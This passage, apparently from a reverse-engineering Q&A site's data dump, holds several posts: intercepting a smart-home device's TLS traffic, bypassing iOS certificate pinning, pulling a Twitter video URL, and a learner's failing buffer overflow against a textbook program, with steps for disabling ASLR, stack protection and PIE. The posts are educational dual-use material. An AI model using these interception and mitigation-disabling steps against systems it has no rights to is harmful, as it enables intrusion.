nv-sa1&amp;lt;0&#xA;00000ca0: 3a06 0355 0403 1333 476c 6f62 616c 5369  :..U...3GlobalSi&#xA;00000cb0: 676e 204f 7267 616e 697a 6174 696f 6e20  gn Organization &#xA;00000cc0: 5661 6c69 6461 7469 6f6e 2043 4120 2d20  Validation CA - &#xA;00000cd0: 5348 4132 3536 202d 2047 3230 1e17 0d31  SHA256 - G20...1&#xA;00000ce0: 3631 3132 3430 3331 3834 335a 170d 3137  61124031843Z..17&#xA;00000cf0: 3032 3234 3033 3138 3433 5a30 818e 310b  0224031843Z0..1.&#xA;00000d00: 3009 0603 5504 0613 0242 4531 1930 1706  0...U....BE1.0..&#xA;00000d10: 0355 040a 1310 476c 6f62 616c 5369 676e  .U....GlobalSign&#xA;00000d20: 206e 762d 7361 3115 3013 0603 5504 0513   nv-sa1.0...U...&#xA;00000d30: 0c32 3031 3631 3132 3431 3132 3831 4d30  .2016112411281M0&#xA;00000d40: 4b06 0355 0403 1344 476c 6f62 616c 5369  K..U...DGlobalSi&#xA;00000d50: 676e 204f 7267 616e 697a 6174 696f 6e20  gn Organization &#xA;00000d60: 5661 6c69 6461 7469 6f6e 2043 4120 2d20  Validation CA - &#xA;00000d70: 5348 4132 3536 202d 2047 3220 2d20 4f43  SHA256 - G2 - OC&#xA;00000d80: 5350 2052 6573 706f 6e64 6572 3082 0122  SP Responder0..&quot;&#xA;00000d90: 300d 0609 2a86 4886 f70d 0101 0105 0003  0...*.H.........&#xA;00000da0: 8201 0f00 3082 010a 0282 0101 00d2 4397  ....0.........C.&#xA;00000db0: cf30 6ae3 d952 cedb a7eb de05 8bd7 3013  .0j..R........0.&#xA;00000dc0: 22c8 65a8 26de 3627 8a64 96fa fa5f a90a  &quot;.e.&amp;amp;.6'.d..._..&#xA;00000dd0: 0517 f538 f091 aa59 f5ce b7c1 2f9d c97a  ...8...Y..../..z&#xA;00000de0: 7fa3 2d68 69af 6b18 e0b9 fd9a aeed 44b7  ..-hi.k.......D.&#xA;00000df0: 14b9 a5d5 fcff 83ed 7517 063e 681b c1b9  ........u..&amp;gt;h...&#xA;00000e00: fc54 322e 927e 0ff1 2a3b bfd6 9f76 1d5e  .T2..~..*;...v.^&#xA;00000e10: a221 64ec a8ea f70c cafa 3883 70da 65a6  .!d.......8.p.e.&#xA;00000e20: a26d 65d5 1594 3eac ee56 96e1 a56c 1307  .me...&amp;gt;..V...l..&#xA;00000e30: bb50 1936 8656 81c5 47e5 d33b 589b 077f  .P.6.V..G..;X...&#xA;00000e40: dcb9 fe06 3132 5516 2944 d145 286c 6451  ....12U.)D.E(ldQ&#xA;00000e50: ea0d 8736 37cd 1040 aa9d 1d1c fdc7 6cf0  ...67..@......l.&#xA;00000e60: 9419 419e 3e6c e9f3 bdbc ddf4 6d05 d465  ..A.&amp;gt;l......m..e&#xA;00000e70: 3bd8 b193 80b7 6ef6 7e90 9057 6281 3fa2  ;.....n.~..Wb.?.&#xA;00000e80: 8b67 45d5 8cb8 9098 b9b3 61e0 4b4d f946  .gE.......a.KM.F&#xA;00000e90: ce13 827d 8171 6f3b 53e5 041c 602f d612  ...}.qo;S...`/..&#xA;00000ea0: 7392 98eb 9636 1cf7 8da1 47eb 6102 0301  s....6....G.a...&#xA;00000eb0: 0001 a381 c730 81c4 301d 0603 551d 0e04  .....0..0...U...&#xA;00000ec0: 1604 149c 4d00 9900 0e8b b001 8175 a1ba  ....M........u..&#xA;00000ed0: f0d0 25d7 a01c 4730 1f06 0355 1d23 0418  ..%...G0...U.#..&#xA;00000ee0: 3016 8014 96de 61f1 bd1c 1629 531c c0cc  0.....a....)S...&#xA;00000ef0: 7d3b 8300 40e6 1a7c 300f 0609 2b06 0105  };..@..|0...+...&#xA;00000f00: 0507 3001 0504 0205 0030 4c06 0355 1d20  ..0......0L..U. &#xA;00000f10: 0445 3043 3041 0609 2b06 0104 01a0 3201  .E0C0A..+.....2.&#xA;00000f20: 5f30 3430 3206 082b 0601 0505 0702 0116  _0402..+........&#xA;00000f30: 2668 7474 7073 3a2f 2f77 7777 2e67 6c6f  &amp;amp;https://www.glo&#xA;00000f40: 6261 6c73 6967 6e2e 636f 6d2f 7265 706f  balsign.com/repo&#xA;00000f50: 7369 746f 7279 2f30 0e06 0355 1d0f 0101  sitory/0...U....&#xA;00000f60: ff04 0403 0207 8030 1306 0355 1d25 040c  .......0...U.%..&#xA;00000f70: 300a 0608 2b06 0105 0507 0309 300d 0609  0...+.......0...&#xA;00000f80: 2a86 4886 f70d 0101 0b05 0003 8201 0100  *.H.............&#xA;00000f90: 0d48 1109 b018 b243 8049 65e3 8cdb cb3b  .H.....C.Ie....;&#xA;00000fa0: 1379 4e19 27cc ddd2 e72f 3fad 54b2 152d  .yN.'..../?.T..-&#xA;00000fb0: 549f 6185 cd34 ae82 0a6e e3f7 4f57 2f6c  T.a..4...n..OW/l&#xA;00000fc0: 96ee cdc0 5b7c 0efc 2dee 6983 fd2f 8627  ....[|..-.i../.'&#xA;00000fd0: 9bde 3195 220b 16eb 808a 8133 5bfd 9cd7  ..1.&quot;......3[...&#xA;00000fe0: 4a1e 9ce9 afde 5c40 ae53 a23d 2d70 b3d3  J.....\@.S.=-p..&#xA;00000ff0: 7081 ac0c e6d3 ba64 81b5 963e 7e4a e87c  p......d...&amp;gt;~J.|&#xA;00001000: 4530 7988 b6e3 a08b ef21 963b a763 8e2c  E0y......!.;.c.,&#xA;00001010: 8489 e67c 7c06 56f4 8b98 174b d092 4ce6  ...||.V....K..L.&#xA;00001020: f28b 6458 7fb7 c661 d1ba bd9d 3627 0ae4  ..dX...a....6'..&#xA;00001030: 55fd df47 ceee c911 413b e88b 98ea cb8e  U..G....A;......&#xA;00001040: 1cf8 fa00 344b 9306 f11f e796 c1a3 7fcc  ....4K..........&#xA;00001050: cd6b d742 5dbd 730b 33bd eac9 240e 0b43  .k.B].s.3...$..C&#xA;00001060: 7281 998a a654 192a 7a00 a5be 7717 0b24  r....T.*z...w..$&#xA;00001070: 97e2 78d7 f533 be87 b34b d0e7 9682 314a  ..x..3...K....1J&#xA;00001080: 8532 a4ce c745 3973 984c 2e08 1aa9 bf4f  .2...E9s.L.....O&#xA;00001090: 1603 0301 4d0c 0001 4903 0017 4104 e7ba  ....M...I...A...&#xA;000010a0: 5507 82b0 b4ea 0619 d41d 5d90 14d0 8cd3  U.........].....&#xA;000010b0: 5f8f 8033 33fc cae8 26dc 9adb 7885 74d2  _..33...&amp;amp;...x.t.&#xA;000010c0: 9214 7707 3a8e 46c4 ce1c 6cc5 b323 cb0e  ..w.:.F...l..#..&#xA;000010d0: c07c abb1 4f3f a032 74b4 3455 3eb2 0601  .|..O?.2t.4U&amp;gt;...&#xA;000010e0: 0100 21a0 f265 b0d6 fe2b 93d5 06ba fcd4  ..!..e...+......&#xA;000010f0: 10ea e7ba 362c 5619 c154 535a bcf1 a9ba  ....6,V..TSZ....&#xA;00001100: ec18 6ab9 bc72 32d8 5862 9e35 524b b2e8  ..j..r2.Xb.5RK..&#xA;00001110: d7ac 522c 1341 4177 0373 e734 ba8c 7907  ..R,.AAw.s.4..y.&#xA;00001120: 0650 4096 968a 415e 7284 4a3d ac21 0a6c  .P@...A^r.J=.!.l&#xA;00001130: 6bf4 e7d7 c4c6 8c64 b37c e215 c606 18cb  k......d.|......&#xA;00001140: fb33 00ba eecd 8916 cfb3 eb5a 12a9 d6b2  .3.........Z....&#xA;00001150: 4e49 38da 0ec2 8ef0 9b8e fb75 b1e3 95a4  NI8........u....&#xA;00001160: d021 5825 378c 14a3 aec7 3cff 4d5a be14  .!X%7.....&amp;lt;.MZ..&#xA;00001170: a320 c0ee f7b8 9d81 15e3 6a11 700c 08c2  . ........j.p...&#xA;00001180: ffbe e477 ce41 ad28 373d 5d34 0f60 186d  ...w.A.(7=]4.`.m&#xA;00001190: 8f42 bca5 e8c7 a388 0e09 ba13 7d1c b90b  .B..........}...&#xA;000011a0: a5cf f39c 1d1d 0b5e 3176 e7ba 4136 f3df  .......^1v..A6..&#xA;000011b0: 963b 6aad 0061 19c7 ae44 015a 6ee4 56bc  .;j..a...D.Zn.V.&#xA;000011c0: 9dbe 394f 5c16 27b0 7b9d 983d 5133 8403  ..9O\.'.{..=Q3..&#xA;000011d0: bf01 fec3 e2f6 20af ab4e 1cda 0d42 1a8e  ...... ..N...B..&#xA;000011e0: 242d 1603 0300 040e 0000 00              $-.........&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to send this thru &lt;code&gt;mitmproxy&lt;/code&gt; but it only says &lt;code&gt;Cannot validate certificate hostname without SNI.&lt;/code&gt; Which I presume means something in regards to certificate pinning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on further reversing this encrypted (SSL?) connection?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: added xxd binary instead of copy/paste garbage as commented below.&lt;/p&gt;&#xA;" OwnerUserId="8057" LastEditorUserId="8057" LastEditDate="2017-01-25T02:38:33.437" LastActivityDate="2017-08-01T05:23:08.470" Title="Lutron Caseta Protocol over HTTPS" Tags="|networking|https-protocol|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14481" PostTypeId="2" ParentId="14480" CreationDate="2017-01-24T03:45:59.260" Score="1" Body="&lt;p&gt;This isn't a complete answer but I don't have enough rep to comment yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, giving us binary data with all the non-printable characters presented as &lt;code&gt;?&lt;/code&gt; doesn't help. Try piping it through &lt;code&gt;xxd&lt;/code&gt; (like &lt;code&gt;nc -l 8883 | xxd&lt;/code&gt;) to get a hex dump which would be far more useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you ran &lt;code&gt;mitmproxy&lt;/code&gt; were you using the real device? This is unclear from your question. The error message suggests the client is only using an IP to connect which doesn't make sense due to the fact you know it connects to &lt;code&gt;lutron.broker.xively.com&lt;/code&gt;. Maybe your &lt;code&gt;fakedns&lt;/code&gt; server is still running? You want to do this with the real device on one side and the internet on the other (i.e &lt;code&gt;device -&amp;gt; mitmproxy -&amp;gt; internet&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mitmproxy&lt;/code&gt; won't work out of the box either otherwise TLS would be useless. You need to install &lt;code&gt;mitmproxy&lt;/code&gt;'s certificate authority cert on your iOS device which will allow &lt;code&gt;mitmproxy&lt;/code&gt; to create valid certificates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your right though about the fact there could be certificate pinning. I'm not up to date on the current iOS certificate pinning bypass but a quick Google suggests the old method of:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Jailbreaking your iOS device&lt;/li&gt;&#xA;&lt;li&gt;Installing Cydia Substrate&lt;/li&gt;&#xA;&lt;li&gt;Then installing &lt;a href=&quot;https://github.com/nabla-c0d3/ssl-kill-switch2&quot; rel=&quot;nofollow noreferrer&quot;&gt;ssl-kill-switch2&lt;/a&gt; and enabling it&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;will work just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: Thanks for re-doing it as a hex dump. What it sends to your server is a ClientHello and &lt;code&gt;mitmproxy&lt;/code&gt; is right there is no SNI information which means it can't verify that the actual server is the right one. If your not worried about someone else mitm your connection you can run &lt;code&gt;mitmproxy --insecure&lt;/code&gt; to get around this safety check.&lt;/p&gt;&#xA;" OwnerUserId="18572" LastEditorUserId="18572" LastEditDate="2017-01-26T13:10:19.423" LastActivityDate="2017-01-26T13:10:19.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14482" PostTypeId="1" CreationDate="2017-01-24T04:34:02.500" Score="5" ViewCount="67585" Body="&lt;p&gt;I'm trying to get the Video URL of ( &lt;a href=&quot;https://twitter.com/i/videos/823649890379120640?embed_source=facebook&quot; rel=&quot;noreferrer&quot;&gt;https://twitter.com/i/videos/823649890379120640?embed_source=facebook&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried going over the source code but it give the same URL link &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta  property=&quot;og:video:url&quot; content=&quot;https://twitter.com/i/videos/823649890379120640?embed_source=facebook&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any trick to get the URL of the videos or their locations ?&lt;/p&gt;&#xA;" OwnerUserId="18868" LastEditorUserId="3162" LastEditDate="2017-01-24T10:07:09.187" LastActivityDate="2018-04-19T13:13:17.593" Title="How to get Video URL from embedded Link in Twitter" Tags="|javascript|websites|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14483" PostTypeId="2" ParentId="14482" CreationDate="2017-01-24T06:20:22.647" Score="3" Body="&lt;p&gt;You were looking at the wrong piece of code. Twitter features lightly obfuscated javscript. Bring it to &lt;a href=&quot;http://jsbeautifier.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;order&lt;/a&gt; and you'll receive something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;duration&quot;: 55322,&#xA;&quot;scribe_widget_origin&quot;: true,&#xA;&quot;heartbeatEnabled&quot;: false,&#xA;&quot;video_url&quot;: &quot;https:\/\/video.twimg.com\/ext_tw_video\/823648834102272000\/pu\/pl\/BZiFV49f1BCX2JkK.m3u8&quot;,&#xA;&quot;disable_embed&quot;: &quot;0&quot;,&#xA;&quot;videoInfo&quot;: {&#xA;    &quot;title&quot;: null,&#xA;    &quot;description&quot;: null,&#xA;    &quot;publisher&quot;: {&#xA;        &quot;screen_name&quot;: &quot;VinePhilly&quot;,&#xA;        &quot;name&quot;: &quot;Global&quot;,&#xA;        &quot;profile_image_url&quot;: &quot;https:\/\/pbs.twimg.com\/profile_images\/822579605177532418\/ZS3emkF8_normal.jpg&quot;&#xA;    }&#xA;},&#xA;&quot;cardUrl&quot;: &quot;https:\/\/t.co\/dpfYidciVZ&quot;,&#xA;&quot;content_type&quot;: &quot;application\/x-mpegURL&quot;,&#xA;&quot;owner_id&quot;: &quot;2495729384&quot;,&#xA;&quot;looping_enabled&quot;: true,&#xA;&quot;show_cookie_override_en&quot;: true,&#xA;&quot;visit_cta_url&quot;: null,&#xA;&quot;scribe_playlist_url&quot;: &quot;https:\/\/twitter.com\/VinePhilly\/status\/823649890379120640\/video\/1&quot;,&#xA;&quot;source_type&quot;: &quot;consumer&quot;,&#xA;&quot;image_src&quot;: &quot;https:\/\/pbs.twimg.com\/ext_tw_video_thumb\/823648834102272000\/pu\/img\/XgQjj1Y0_Sclf2SY.jpg&quot;,&#xA;&quot;heartbeatIntervalInMs&quot;: 5000.0,&#xA;&quot;use_tfw_live_heartbeat_event_category&quot;: true,&#xA;&quot;video_loading_timeout&quot;: 45000.0,&#xA;&quot;status&quot;: {&#xA;    &quot;created_at&quot;: &quot;Mon Jan 23 21:53:31 +0000 2017&quot;,&#xA;    &quot;id&quot;: 823649890379120640,&#xA;    &quot;id_str&quot;: &quot;823649890379120640&quot;,&#xA;    &quot;text&quot;: &quot;Bro They Had A Picnic In Walmart \ud83d\ude2d https:\/\/t.co\/dpfYidciVZ&quot;,&#xA;    &quot;truncated&quot;: false,&#xA;    &quot;entities&quot;: {&#xA;        &quot;hashtags&quot;: [],&#xA;        &quot;symbols&quot;: [],&#xA;        &quot;user_mentions&quot;: [],&#xA;        &quot;urls&quot;: [],&#xA;        &quot;media&quot;: [{&#xA;            &quot;id&quot;: 823648834102272000,&#xA;            &quot;id_str&quot;: &quot;823648834102272000&quot;,&#xA;            &quot;indices&quot;: [35, 58],&#xA;            &quot;media_url&quot;: &quot;http:\/\/pbs.twimg.com\/ext_tw_video_thumb\/823648834102272000\/pu\/img\/XgQjj1Y0_Sclf2SY.jpg&quot;,&#xA;            &quot;media_url_https&quot;: &quot;https:\/\/pbs.twimg.com\/ext_tw_video_thumb\/823648834102272000\/pu\/img\/XgQjj1Y0_Sclf2SY.jpg&quot;,&#xA;            &quot;url&quot;: &quot;https:\/\/t.co\/dpfYidciVZ&quot;,&#xA;            &quot;display_url&quot;: &quot;pic.twitter.com\/dpfYidciVZ&quot;,&#xA;            &quot;expanded_url&quot;: &quot;https:\/\/twitter.com\/VinePhilly\/status\/823649890379120640\/video\/1&quot;,&#xA;            &quot;type&quot;: &quot;photo&quot;,&#xA;            &quot;sizes&quot;: {&#xA;                &quot;small&quot;: {&#xA;                    &quot;w&quot;: 340,&#xA;                    &quot;h&quot;: 425,&#xA;                    &quot;resize&quot;: &quot;fit&quot;&#xA;                },&#xA;                &quot;large&quot;: {&#xA;                    &quot;w&quot;: 480,&#xA;                    &quot;h&quot;: 600,&#xA;                    &quot;resize&quot;: &quot;fit&quot;&#xA;                },&#xA;                &quot;thumb&quot;: {&#xA;                    &quot;w&quot;: 150,&#xA;                    &quot;h&quot;: 150,&#xA;                    &quot;resize&quot;: &quot;crop&quot;&#xA;                },&#xA;                &quot;medium&quot;: {&#xA;                    &quot;w&quot;: 480,&#xA;                    &quot;h&quot;: 600,&#xA;                    &quot;resize&quot;: &quot;fit&quot;&#xA;                }&#xA;            }&#xA;        }]&#xA;    },&#xA;    &quot;source&quot;: &quot;\u003ca href=\&quot;http:\/\/twitter.com\/download\/iphone\&quot; rel=\&quot;nofollow\&quot;\u003eTwitter for iPhone\u003c\/a\u003e&quot;,&#xA;    &quot;in_reply_to_status_id&quot;: null,&#xA;    &quot;in_reply_to_status_id_str&quot;: null,&#xA;    &quot;in_reply_to_user_id&quot;: null,&#xA;    &quot;in_reply_to_user_id_str&quot;: null,&#xA;    &quot;in_reply_to_screen_name&quot;: null,&#xA;    &quot;geo&quot;: null,&#xA;    &quot;coordinates&quot;: null,&#xA;    &quot;place&quot;: null,&#xA;    &quot;contributors&quot;: null,&#xA;    &quot;retweet_count&quot;: 0,&#xA;    &quot;favorite_count&quot;: 0,&#xA;    &quot;favorited&quot;: false,&#xA;    &quot;retweeted&quot;: false,&#xA;    &quot;possibly_sensitive&quot;: false,&#xA;    &quot;lang&quot;: &quot;en&quot;&#xA;},&#xA;&quot;show_cookie_override_all&quot;: true,&#xA;&quot;video_session_enabled&quot;: false,&#xA;&quot;media_id&quot;: &quot;823648834102272000&quot;,&#xA;&quot;view_counts&quot;: null,&#xA;&quot;statusTimestamp&quot;: {&#xA;    &quot;local&quot;: &quot;1:53 PM - 23 Jan 2017&quot;&#xA;},&#xA;&quot;media_type&quot;: 1,&#xA;&quot;user&quot;: {&#xA;    &quot;screen_name&quot;: &quot;VinePhilly&quot;,&#xA;    &quot;name&quot;: &quot;Global&quot;,&#xA;    &quot;profile_image_url&quot;: &quot;https:\/\/pbs.twimg.com\/profile_images\/822579605177532418\/ZS3emkF8_bigger.jpg&quot;&#xA;},&#xA;&quot;watch_now_cta_url&quot;: null,&#xA;&quot;tweet_id&quot;: &quot;823649890379120640&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should be able to get to the video url from here. One more tip: the 'video_url' points to a playlist file. I'm not going to do this due to legal obligations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-01-24T06:20:22.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14484" PostTypeId="1" CreationDate="2017-01-24T07:22:33.177" Score="0" ViewCount="68" Body="&lt;p&gt;I'm having a rather difficult time determining what memory security settings need to be adjusted on a fresh install of Fedora 25 in order to perform basic buffer overflows in the C language. As a newbie, this has been the toughest to figure out. I have several books and have watched several tutorials but every single one either provides a CD of a specific Linux install, or a asks to set up a VM. Unfortunately, I've had a very tough time setting up a VM on Windows (many different errors, terrible performance, etc...) and my Linux box is old, probably far too old to have enough memory to VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, &lt;strong&gt;are there any OS settings that would by default prevent a buffer overflow from happening on a fresh Fedora 25 install?&lt;/strong&gt; If so, which settings and how could I disable them? I've tried to perform an attack on my own program and the memory addresses are the same in gdb every time I run the program. Also, &lt;em&gt;I am able to cause a segmentation fault by overflowing the buffer properly (canaries are disabled in the file)&lt;/em&gt;, however, when I try to execute a function by using nm [myfile] on the command line, and entering the address into the overflow, the function does not execute, instead, I get a seg fault at best. I am working with 64 bit programs here.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2017-01-24T07:22:33.177" Title="What memory security settings are needed to allow a basic buffer overflow on Fedora 25?" Tags="|linux|c|buffer-overflow|" AnswerCount="0" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14485" PostTypeId="1" AcceptedAnswerId="14487" CreationDate="2017-01-24T12:29:11.553" Score="-1" ViewCount="128" Body="&lt;p&gt;I find that on a jailbroken device I can access &lt;code&gt;/Applications/&lt;/code&gt; in a normal app from app store, although I thought due to the &lt;a href=&quot;http://iphonedevwiki.net/index.php/Seatbelt&quot; rel=&quot;nofollow noreferrer&quot;&gt;sandbox&lt;/a&gt; I shouldn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I should write an app to determine what sections of the filesystem are accessible and run it on a normal iPhone and a jailbroken one, to see if this is true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, will jailbreaking affect file system accessibility (bypassing the sandbox) for all apps?&lt;/p&gt;&#xA;" OwnerUserId="17187" LastEditorUserId="60" LastEditDate="2017-02-02T09:21:15.990" LastActivityDate="2017-02-02T09:21:15.990" Title="Will jailbreaking affect file system accessibility for all apps?" Tags="|ios|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14487" PostTypeId="2" ParentId="14485" CreationDate="2017-01-24T15:41:58.377" Score="2" Body="&lt;p&gt;Let me try to break down what you're asking.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I find when use a jailbreak device I can access  &lt;code&gt;/Applications/&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, that's correct.  A jailbroken device can access an iOS device's root file system from a shell or any application (such as iFile).  As of iOS 8, the Applications directory has changed to &lt;code&gt;/var/mobile/Containers/Bundle/Application&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;But from &lt;a href=&quot;http://iphonedevwiki.net/index.php/Seatbelt&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;, I shouldn't?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Well, not necessarily.  If the application is running as root (think iFile or Filza), you can have read and write access to any directory on the device.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Maybe I should write a App to scan the FileSystem on a normal iPhone and a jailbreak one.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In theory, any application can ask to read or write a file to any directory.  This is frequently how jailbreak checks are done in production apps.  If the file manager does not return an error when trying to read from &lt;code&gt;/var/mobile&lt;/code&gt;, then you know the application is being run as root on a jailbroken device.&lt;/p&gt;&#xA;" OwnerUserId="17972" LastActivityDate="2017-01-24T15:41:58.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14488" PostTypeId="2" ParentId="14469" CreationDate="2017-01-24T17:03:38.590" Score="1" Body="&lt;p&gt;Each disassembled instruction is an instance of an envi.Opcode.  From there, you can access the individual operands as a list. ( ex. op.opers[0] )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on your level of concern for architecture independence, you could check for specific opcode ( ie op.opcode == envi.archs.i386.opconst.INS_BRANCHCC for conditional branches ) and then check the op.opers[0].isImmed()  or possibly isDiscrete() depending on exactly what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking for a bit more generic (architecture independent) solution, you could also use op.getBranches() (without specifying emu) and check if any of the (destva,flags) tuples returned have destva == None ( which means a branch was detected, but without emulation the destination virtual address is not known ) to find instructions with branches which are neither absolute nor instruction pointer relative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you may also need to keep in mind that compiler optimizations may move an immediate address into a register to call later ( effectively immediate, but technically a register call ) which is why i would use the symbolic emulation subsystem to answer this kind of question.  That would also have the benefit of giving you the actual algebraic expression used to calculate the target address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;happy hacking!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-visi&lt;/p&gt;&#xA;" OwnerUserId="18875" LastActivityDate="2017-01-24T17:03:38.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14490" PostTypeId="1" AcceptedAnswerId="14494" CreationDate="2017-01-24T20:13:17.657" Score="3" ViewCount="3948" Body="&lt;p&gt;I cannot get this buffer overflow exploit to work for the life of me. The source code is &lt;a href=&quot;https://github.com/intere/hacking/blob/master/booksrc/game_of_chance.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. It is from the book, Hacking the Art of Exploitation. The subject here is the below struct:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct user {&#xA;   int uid;&#xA;   int credits;&#xA;   int highscore;&#xA;   char name[100];&#xA;   int (*current_game) ();&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The idea is to overflow name[100] such that the address provided &lt;em&gt;after&lt;/em&gt; the 100 letter A's will &lt;em&gt;overwrite the address of the function pointer, entitled current_game&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, please see the below gdb readout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��048e2c]&#xA;56        printf(&quot;[You have %u credits] -&amp;gt;  &quot;, player.credits);&#xA;(gdb) x/40x player.name&#xA;0x804c08c &amp;lt;player+12&amp;gt;:    0x41414141  0x41414141  0x41414141  0x41414141&#xA;0x804c09c &amp;lt;player+28&amp;gt;:    0x41414141  0x41414141  0x41414141  0x41414141&#xA;0x804c0ac &amp;lt;player+44&amp;gt;:    0x41414141  0x41414141  0x41414141  0x41414141&#xA;0x804c0bc &amp;lt;player+60&amp;gt;:    0x41414141  0x41414141  0x41414141  0x41414141&#xA;0x804c0cc &amp;lt;player+76&amp;gt;:    0x41414141  0x41414141  0x41414141  0x41414141&#xA;0x804c0dc &amp;lt;player+92&amp;gt;:    0x41414141  0x41414141  0x41414141  0x41414141&#xA;0x804c0ec &amp;lt;player+108&amp;gt;:   0x41414141  0x080490bb  0x65383430  0x00006332&#xA;0x804c0fc:  0x00000000  0x00000000  0x00000000  0x00000000&#xA;0x804c10c:  0x00000000  0x00000000  0x00000000  0x00000000&#xA;0x804c11c:  0x00000000  0x00000000  0x00000000  0x00000000&#xA;(gdb) x/5x player.current_game&#xA;0x80490bb &amp;lt;pick_a_number&amp;gt;:    0x83e58955  0xec8318ec  0x9d2e680c  0xa2e80804&#xA;0x80490cb &amp;lt;pick_a_number+16&amp;gt;: 0x83fffff4&#xA;(gdb) print 6*16&#xA;$2 = 96&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've placed the address of another function into player.name as noted by the &lt;code&gt;[Name: A*100 ...&lt;/code&gt; line. Below this, you can see the memory layout, how there are indeed 100 A's in memory. However, after the final A, we see that the next memory spot is &lt;code&gt;0x080490bb&lt;/code&gt; and &lt;em&gt;has not&lt;/em&gt; been overwritten, even though we see that the player.name buffer does indeed contain an overflow just prior. I've shown a printout of player.current_game afterwards to display that it is indeed at address &lt;code&gt;0x80490bb&lt;/code&gt; which is what we see in the dump directly after the last 0x41414141. I am baffled here.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;What I've Tried:&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Disabled ASLR on my Fedora 25 by setting &lt;code&gt;/proc/sys/kernel/randomize_va_space&lt;/code&gt; to 0.&lt;/li&gt;&#xA;&lt;li&gt;Enabled executable stack in gcc.&lt;/li&gt;&#xA;&lt;li&gt;Turned off the stack protection in gcc.&lt;/li&gt;&#xA;&lt;li&gt;Turned off PIE&lt;/li&gt;&#xA;&lt;li&gt;You can confirm with this command that I used to make the binary: &lt;code&gt;gcc  -z execstack game_of_chance.c -fno-stack-protector -no-pie -m32 -o goc&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;I've tried writing the address in as \x2c\x8e\x04\08 AND just straight 0x08048e2c, neither work. This is the address of the function I'm trying to run.&lt;/li&gt;&#xA;&lt;li&gt;Observed that paddr and vaddr are the same throughout multiple executions of the program.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Debugged in both gdb as you see, as well as Radare2. You can see my rabin2 printout for the file below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;havecode true&#xA;pic      false&#xA;canary   false&#xA;nx       false&#xA;crypto   false&#xA;va       true&#xA;intrp    /lib/ld-linux.so.2&#xA;bintype  elf&#xA;class    ELF32&#xA;lang     c&#xA;arch     x86&#xA;bits     32&#xA;machine  Intel 80386&#xA;os       linux&#xA;minopsz  1&#xA;maxopsz  16&#xA;pcalign  0&#xA;subsys   linux&#xA;endian   little&#xA;stripped false&#xA;static   false&#xA;linenum  